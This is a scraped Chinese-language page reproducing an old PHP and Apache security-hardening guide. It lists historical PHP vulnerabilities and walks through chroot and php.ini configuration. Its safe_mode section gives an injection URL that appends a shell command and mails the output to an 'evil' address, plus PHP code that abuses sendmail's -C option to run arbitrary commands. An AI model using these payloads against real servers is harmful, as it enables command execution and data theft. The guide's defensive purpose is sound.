资源描述:
《一,web服务器安全》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、一、Web服務器安全PHP其實不過是Web服務器的一個模塊功能,所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用loc
2、alhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的︰[mailfunction];ForWin32only.SMTP=localhost;ForWin32only.sendmail_from=me@localhost.com 都是針對Win32平台,所以需要在chroot環境下調整好sendmail。二、PHP本身問題1、遠程溢出PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高.2、遠
3、程拒絕服務PHP-4.2.0和PHP-4.2.1存在PHPmultipart/form-dataPOST請求處理遠程漏洞,雖然不能獲得本地用戶權限,但是也能造成拒絕服務。3、safe_mode繞過漏洞還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHPmail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由于設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PH
4、P腳本evil.php︰執行如下的URL︰http://foo.com/evil.php?bar=;/usr/bin/id mailevil@domain.com這將id執行的結果發送給evil@domain.com。對于4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令︰#注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣$script="/tmp/scrip
5、t123";$cf="/tmp/cf123";$fd=fopen($cf,"w");fwrite($fd,"OQ/tmpSparse=0R$*".chr(9)."$#local$@$1$:$1Mlocal,P=/bin/sh,A=sh$script");fclose($fd);$fd=fopen($script,"w");fwrite($fd,"rm-f$script$cf;");fwrite($fd,$cmd);fclose($fd);mail("nobody","","","","-C$cf");?>
6、 還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。三、PHP本身的安全配置'knowsky.comPHP的配置非常靈活,可以通過php.ini,httpd.conf,.htaccess文件(該目錄必須設置了AllowOverrideAll或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。如果配置選項是唯一PHP_INI_SYSTEM屬性的,必
7、須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web服務器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。如果還有其他的PHP_INI_USER,PHP_INI_PERDIR,PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只
8、對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性︰#grepPHP_INI_/PHP_SRC/main/main.c 在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。1、safe_modesafe_mode是唯一PHP_INI_SYSTEM屬性,